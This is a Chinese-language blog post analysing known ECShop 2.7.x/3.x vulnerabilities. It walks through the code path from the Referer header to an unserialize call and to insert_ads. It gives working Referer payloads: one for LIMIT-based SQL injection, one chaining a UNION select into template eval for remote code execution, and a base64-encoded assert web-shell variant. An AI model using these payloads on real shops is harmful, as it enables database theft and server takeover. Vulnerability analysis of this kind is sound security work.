Echsop2.7.x几处漏洞分析

Echsop2.7.x几处漏洞分析

前言

这些洞是在半年前公布的细节,当时没来得及关注。最近在给自己定目标,决定重新刷一遍这些洞。

SQL注入

由于未对Reffer内容进行过滤而造成的SQL注入

漏洞位置user.php:302

elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }

    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}

$back_act可控为Reffer值,跟进assign

/**
 * 注册变量
 *
 * @access  public
 * @param   mix      $tpl_var
 * @param   mix      $value
 *
 * @return  void
 */
function assign($tpl_var, $value = '')
{
    if (is_array($tpl_var))
    {
        foreach ($tpl_var AS $key => $val)
        {
            if ($key != '')
            {
                $this->_var[$key] = $val;
            }
        }
    }
    else
    {
        if ($tpl_var != '')
        {
            $this->_var[$tpl_var] = $value;
        }
    }
}

assign()注册了模板变量$this->_var[‘back_act’],这里注册的变量在后面的页面模板编译中会用到

继续跟进user的display函数

/**
 * 显示页面函数
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  void
 */
function display($filename, $cache_id = '')
{
    error_reporting(E_ALL ^ E_NOTICE);

    $out = $this->fetch($filename, $cache_id);

    if (strpos($out, $this->_echash) !== false)
    {
        $k = explode($this->_echash, $out);
        foreach ($k AS $key => $val)
        {
            if (($key % 2) == 1)
            {
                $k[$key] = $this->insert_mod($val);
            }
        }
        $out = implode('', $k);
    }

    echo $out;
}

Display中调用fetch函数处理模板文件:user_passport.dwt,跟进关键代码

/**
 * 处理模板文件
 *
 * @access  public
 * @param   string      $filename
 * @param   sting      $cache_id
 *
 * @return  sring
 */
function fetch($filename, $cache_id = '')
{
    ...
    $out = $this->make_compiled($filename);
    ...
    return $out; // 返回html数据
}

$filename就是user_passport.dwt,关键内容如下

<tr>
<td colspan="2" align="center"><input type="hidden" name="act" value="act_login" />
  <input type="hidden" name="back_act" value="{$back_act}" />
  <input type="submit" name="submit" value="{$lang.confirm_login}" /></td>
</tr>

通过make_compiled函数编译模板文件,编译时会把之前注册的模板变量渲染到{$back_act}。$out即为渲染后的html代码块

继续跟进流程,回到display。$out内容被分割为两部分,分割依据是$this->_echash,而$this->_echash参数值固定

$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
    if (($key % 2) == 1)
    {
        $k[$key] = $this->insert_mod($val);
    }
}

跟进insert_mod

function insert_mod($name) // 处理动态内容
{
    list($fun, $para) = explode('|', $name);
    $para = unserialize($para);
    $fun = 'insert_' . $fun;

    return $fun($para);
}

继续对$out内容以“|”形式分割成$fun、$para,|后的内容进行反序列化,再动态调用$fun函数。至此,函数名$fun可控,函数内容$para可控,找一个以Insert_开头的可利用的函数

function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }

触发SQL注入,构造的PAYLOAD形式:

echash+ads|serialize(array("num"=>sqlpayload,"id"=>1))

创宇提供的一个payload示例如下:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

采用limit注入,利用procedure analyse函数。具体见P师傅文章:https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

RCE分析

RCE利用点还是insert_ads函数,参数的处理流程很大一部分是上文SQL注入的流程,这里分析3.x版本的RCE

继续跟进ads函数,重点部分代码如下:

function insert_ads($arr)
{
    foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];
        ...
    }

    $position_style = 'str:' . $position_style;
    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);
}

$res为查询结果,即$row[‘position_id’]可用SQL注入的Union select控制,$arr[‘id’]也可控,当两者相等时$position_style的值就可控为$row[‘position_style’]。接着又调用assgin注册变量、fetch编译模板。再看fetch函数

/**
     * 处理模板文件
     *
     * @access  public
     * @param   string      $filename
     * @param   sting      $cache_id
     *
     * @return  sring
     */
function fetch($filename, $cache_id = '')
{
    if (strncmp($filename,'str:', 4) == 0)
    {
        $out = $this->_eval($this->fetch_str(substr($filename, 4)));
    }
    else
    {
         ......

由于字符串前被拼接了str:,所以进入$this->_eval函数处理,这也是最终的漏洞触发点,可以eval我们构造的恶意语句。

但是再_eval之前经过fetch_str处理字符串,跟进

    /**
     * 处理字符串函数
     *
     * @access  public
     * @param   string     $source
     *
     * @return  sring
     */
    function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

第一个正则会匹配危险的字符串函数,重点在最后一个正则。\\1是替代表达,匹配到的字符串会替代\\1的位置。

eg:return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", "xxx{abc}xxx");结果就是return $this->select('{abc}')

跟进select函数

/**
 * 处理{}标签
 *
 * @access  public
 * @param   string      $tag
 *
 * @return  sring
 */
function select($tag)
{
    $tag = stripslashes(trim($tag));

    if (empty($tag))
    {
        return '{}';
    }
    elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
    {
        return '';
    }
    elseif ($tag{0} == '$') // 变量
    {
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
        return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
    }
    ......

trim处理了字符串两边的{},最后返回一段php标签下的字符串,如果成功返回,则之前的eval就可以执行这段php字符串。不过这个值的获取取决于get_val,跟进get_val

/**
 * 处理smarty标签中的变量标签
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function get_val($val)
{
    if (strrpos($val, '[') !== false)
    {
        $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
    }

    if (strrpos($val, '|') !== false)
    {
        $moddb = explode('|', $val);
        $val = array_shift($moddb);
    }

    if (empty($val))
    {
        return '';
    }

    if (strpos($val, '.$') !== false)
    {
        $all = explode('.$', $val);

        foreach ($all AS $key => $val)
        {
            $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
        }
        $p = implode('', $all);
    }
    else
    {
        $p = $this->make_var($val);
    }

若$val不存在.$则进入make_var()

/**
 * 处理去掉$的字符串
 *
 * @access  public
 * @param   string     $val
 *
 * @return  bool
 */
function make_var($val)
{
    if (strrpos($val, '.') === false)
    {
        if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
        {
            $val = $this->_patchstack[$val];
        }
        $p = '$this->_var[\'' . $val . '\']';
    }
    else
    {
       .....

这个make_var的$val可控,则表明返回的$p可控,最终返回的$this->get_val()就可控,也就是$this->_eval的实参可控(一段PHP标签下的字符串),从而getshell。

构造Payload我用逆推的思路,逐步满足每个函数判断的条件

最终的POC要结合SQL注入,通过id和num参数将order by注释

再利用union select构造指定列的值:第二列postion_id,第七列position_style

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

id的值就是' /*,num的值*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16进制值,也就是第二列$row['position_id']的值。0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d{$'];phpinfo/**/();//}的16进制值

漏洞修复

看到ecshop4/ecshop/includes/lib_insert.php

对id和num进行强制类型转换了,字符串无法利用

题外话

创宇WAF拦截的Payload是这样

{$abc'];assert(base64_decode('YXNzZXJ0KCRfR0VUWyd4J10pOw=='));//}

巧妙解决了$_GET[]的[]问题,测试用法

参考链接

https://paper.seebug.org/695/#_5

not found!